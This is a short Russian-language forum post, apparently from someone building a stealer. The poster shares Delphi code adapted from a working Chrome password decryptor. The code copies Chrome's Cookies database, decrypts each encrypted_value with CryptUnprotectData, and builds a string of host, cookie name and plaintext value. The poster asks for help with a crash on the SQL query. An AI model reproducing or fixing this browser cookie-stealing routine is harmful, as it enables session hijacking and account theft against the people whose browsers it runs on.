Скопипастил код декрипта паролей хрома - проверил, все работает. Переделал под декрипт куков - в итоге получил код:
Код
function StartGetChromePass(sqlite3Dll: string; Delimitador: string): string;
var
DB: TSQLiteDatabase;
Tablo: TSQLiteTable;
Sifre: string;
Giren: DATA_BLOB;
Cikan: DATA_BLOB;
DataStream: TMemorystream;
Arquivo, TempFile: string;
begin
result := '';
merdadll := sqlite3Dll;
Arquivo := GetShellFolder($001C) + '\Google\Chrome\User Data\Default\Cookies'; //ou "web data" no antigo
TempFile := MyTempFolder + inttostr(gettickcount) + '.tmp';
if CopyFile(pchar(arquivo), pchar(TempFile), false) = false then exit;
db := TSQLiteDatabase.Create(TempFile);
tablo := DB.GetTable('SELECT * FROM cookies');
exit;
While not tablo.EOF do
begin
DataStream := TMemoryStream.Create;
DataStream := tablo.FieldAsBlob(tablo.FieldIndex['encrypted_value']);
Giren.pbData := DataStream.Memory;
Giren.cbData := DataStream.Size;
CryptUnProtectData(@Giren, nil,nil,nil,nil,0,@Cikan);
SetString(sifre, PAnsiChar(Cikan.pbData), Cikan.cbData);
Result := Result + 'Host: ' + tablo.FieldAsString(tablo.FieldIndex['host_key']) + #13#10;
Result := Result + 'Name: ' + tablo.FieldAsString(tablo.FieldIndex['name']) + #13#10;
Result := Result + 'Value: ' + sifre + #13#10 + #13#10;
Tablo.Next;
end;
DeleteFile(pchar(TempFile));
end;
И крашицо на "tablo := DB.GetTable('SELECT * FROM cookies');" с ошибкой
Не понимаю что не так, хелпаните плзз.